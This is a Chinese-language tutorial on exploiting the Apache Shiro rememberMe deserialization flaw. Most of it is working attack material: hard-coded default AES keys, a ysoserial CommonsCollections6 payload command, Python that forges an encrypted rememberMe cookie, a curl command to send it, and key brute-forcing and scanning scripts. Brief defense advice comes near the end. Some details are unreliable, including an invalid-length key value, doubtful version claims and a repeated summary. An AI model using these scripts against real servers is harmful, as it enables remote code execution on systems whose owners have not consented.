一、rememberMe Cookie 机制流程

用户登录勾选"记住我"后,Shiro 执行以下流程:
  1. 把 Subject 对象(含 principal、authenticated 等字段)序列化
  2. AES-CBC 加密(key 来自 shiro.ini 的 cipherKey)
  3. 把密文写入 Cookie: rememberMe=base64(ciphertext)

后续每次请求,Shiro 的 rememberMeFilter:
  1. 读取 HTTP 请求的 rememberMe Cookie
  2. Base64 解码 → 拿到密文
  3. AES-CBC 解密(IV 固定全零,key 默认硬编码)
  4. ObjectInputStream.readObject() ← 攻击入口!
  5. 恢复 Subject → 完成自动登录

二、默认 AES 密钥

Shiro 从 1.0 版本起就在 JAR 里硬编码了默认密钥。

Base64 Key 版本 文件位置
kPH+bIxk5D2deZiIxcaaaA== 全版本默认 AbstractRememberMeManager.DEFAULT_CIPHER_KEY_BYTES
4AvVhmFLUs0KTA3Kprsdag== 1.4 默认
Z3VucwAAAAAAAAAAAAAAAA== 某些集成环境
wGiHplamyXlVB11UXWol8g== 1.2.4
fCq+Q0yMZ2+J02YcT5P+Q7A== 1.3.2

可以用 strings shiro-core-*.jar | grep -i cipher 查找。

三、完整攻击流程演示

Step 1: 确认 rememberMe Cookie 存在

curl -v -X POST http://target/login \
  -d "username=x&password=y&rememberMe=on" \
  -c /tmp/cookies.txt
# 查看响应头是否有 Set-Cookie: rememberMe=xxx
grep rememberMe /tmp/cookies.txt

Step 2: 生成 CommonsCollections 序列化 payload

java -jar ysoserial.jar CommonsCollections6 "touch /tmp/shiro_pwned" > cc6.bin
# 也可以用 python-poc 或 seebug 上的脚本

Step 3: Python 加密(生成 rememberMe Cookie 格式)

import base64, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_shiro(plaintext, key_b64):
    key = base64.b64decode(key_b64)
    iv = b'\x00' * 16  # Shiro 固定全零 IV!
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(plaintext, AES.block_size))
    return base64.b64encode(encrypted).decode()

def decrypt_shiro(cookie, key_b64):
    key = base64.b64decode(key_b64)
    iv = b'\x00' * 16
    ciphertext = base64.b64decode(cookie)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plain = cipher.decrypt(ciphertext)
    return plain  # 可能有 PKCS7 padding

with open("cc6.bin", "rb") as f:
    payload = f.read()

cookie_value = encrypt_shiro(payload, "kPH+bIxk5D2deZiIxcaaaA==")
print(f"rememberMe={cookie_value}")

Step 4: 发送攻击请求

COOKIE="rememberMe=$(python3 -c '
import base64,sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv=b"\x00"*16
with open("cc6.bin","rb") as f: pt=f.read()
print(base64.b64encode(AES.new(key,AES.MODE_CBC,iv).encrypt(pad(pt,16))).decode())')"

curl http://target -H "Cookie: ${COOKIE}" -v

四、自动 Key 探测

import base64, requests, sys
from Crypto.Cipher import AES

KNOWN_KEYS = [
    "kPH+bIxk5D2deZiIxcaaaA==",
    "4AvVhmFLUs0KTA3Kprsdag==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "fCq+Q0yMZ2+J02YcT5P+Q7A==",
    "1AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "5AvVhmFLUs0KTA3Kprsdag==",
    "6AvVhmFLUs0KTA3Kprsdag==",
    "2AvVhmFLUs0KTA3Kprsdag==",
    "4AvVhmFLUs0KTA3Kprsdag==",
]

def decrypt_shiro(cookie, key_b64):
    try:
        ct = base64.b64decode(cookie)
        key = base64.b64decode(key_b64)
        iv = b'\x00' * 16
        d = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
        return d[:4] == b'\xac\xed\x00\x05'
    except: return False

def find_key(cookie):
    for k in KNOWN_KEYS:
        if decrypt_shiro(cookie, k):
            print(f"[+] Found key: {k}")
            return k
    print("[-] Key not in known list")
    return None

if __name__ == "__main__":
    cookie = sys.argv[1]
    find_key(cookie)

五、响应差异判断

解密结果 反序列化结果 HTTP 响应
解密失败(PKCS 错误) N/A 500 Internal Server Error
解密成功但反序列化抛异常 Exception 302 重定向(Shiro 清理后重定向)
解密成功且反序列化完成 Subject 恢复 200 + 正常页面

六、Padding Oracle 攻击

AES-CBC Padding Oracle 可以在不知道 key 的情况下,通过响应差异逐字节恢复明文。原理:

C[i] = P[i] XOR E(C[i-1])
攻击方修改 C[i-1] 的最后一个字节
  → 看解密后的 padding 是否正确
  → 正确时得到明文最后一个字节
  → 从右向左逐字节爆破

这个方法在 key 探测失败但加密仍存在时可以用。

七、防御方案

7.1 升级

升级到 Shiro 1.13+,移除 commons-collections 依赖。

7.2 替换默认 key

# shiro.ini
securityManager.rememberMeManager.cipherKey = 随机16字节Base64编码
# 例如: openssl rand -base64 16
# securityManager.rememberMeManager.cipherKey = aB3f9X7kL2mN5oQ8rS1uV4wX7yZ0cD3f

7.3 禁用 rememberMe

# 完全禁用
securityManager.rememberMeManager.cookie.maxAge = -1
securityManager.rememberMeManager.cookie.name = none

7.4 JVM 参数拦截

# 拦截 CC gadget
java -Djdk.serialFilter="org\.apache\.commons\.collections\..*;!*" -jar app.jar

八、总结

Shiro 反序列化把 Java 漏洞藏在了加密通道后面,但 AES-CBC + 固定全零 IV + 公开默认 key 并不是安全屏障。攻击路径:rememberMe Cookie → Base64 解码 → AES-CBC 解密 → ObjectInputStream → CC 链 → Runtime.exec。防御要点:升级 + 换 key + 禁用不必要功能 + 移除 commons-collections 依赖

九、JWT Bearer Token 替代 rememberMe

现代 Shiro 版本推荐用 JWT 替代 rememberMe cookie:

// JWT 是无状态的,Shiro 不做对象反序列化
String token = Jwts.builder()
    .setSubject(username)
    .setIssuedAt(new Date())
    .setExpiration(new Date(System.currentTimeMillis() + 3600000))
    .signWith(SignatureAlgorithm.HS256, "secret-key")
    .compact();

JWT 没有反序列化问题——它只是签名验证,不需要恢复 Java 对象。

十、Shiro 1.4+ 的变化

Shiro 1.4 对 rememberMe 做了改进:

  • 默认 key 从 kPH+bIxk5D2deZiIxcaaaA== 改为 4AvVhmFLUs0KTA3Kprsdag==
  • 增加了加密算法可配置(AES-GCM 替代 CBC)
  • 但核心问题仍未解决——AES-GCM 如果 key 泄露,一样可以构造 payload

十一、自动化 Shiro 检测脚本(完整 Python)

#!/usr/bin/env python3
"""完整 Shiro rememberMe 检测脚本"""
import base64, requests, sys, struct, subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

KNOWN_KEYS = [
    "kPH+bIxk5D2deZiIxcaaaA==",
    "4AvVhmFLUs0KTA3Kprsdag==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "wGiHplamyXlVB11UXWol8g==",
]

def gen_ysoserial(gadget, cmd):
    r = subprocess.run(["java","-jar","ysoserial.jar",gadget,cmd],capture_output=True)
    return r.stdout

def encrypt(payload, key_b64):
    key = base64.b64decode(key_b64)
    iv = b'\x00'*16
    return base64.b64encode(AES.new(key,AES.MODE_CBC,iv).encrypt(pad(payload,16))).decode()

def decrypt(cookie, key_b64):
    key = base64.b64decode(key_b64)
    iv = b'\x00'*16
    ct = base64.b64decode(cookie)
    try:
        pt = AES.new(key,AES.MODE_CBC,iv).decrypt(ct)
        return pt[:4] == b'\xac\xed\x00\x05'
    except: return False

def check(target):
    # Step 1: 拿 rememberMe Cookie
    r = requests.get(f"{target}/login", allow_redirects=False)
    set_cookie = r.headers.get("Set-Cookie","")
    if "rememberMe=deleteMe" in set_cookie or "rememberMe" not in set_cookie:
        print("[-] No rememberMe cookie")
        return
    cookie_val = set_cookie.split("rememberMe=")[1].split(";")[0]

    # Step 2: 探测 key
    for k in KNOWN_KEYS:
        if decrypt(cookie_val, k):
            print(f"[+] Found key: {k}")
            return k
    print("[-] Unknown key")
    return None

if __name__ == "__main__":
    check(sys.argv[1])

十二、Shiro 反序列化 vs 其他

对比 Shiro 其他
攻击入口 rememberMe Cookie 任意 unserialize 调用
加密层 有(但 key 泄露) 通常无
需要 gadget 是(CC 等) 是(CC 等)
关键特征 rememberMe= Cookie 前缀 N/A

十三、总结补充

Shiro 反序列化把 Java 漏洞藏在了加密通道后面。虽然看起来有加密保护,但 AES-CBC + 固定全零 IV + 公开默认 key 并不是安全屏障。防御要点:升级 + 换 key + 禁用不必要功能 + 移除 commons-collections 依赖。用 JWT 替代 rememberMe 也是一个好思路——无状态 Token 完全避开了反序列化问题。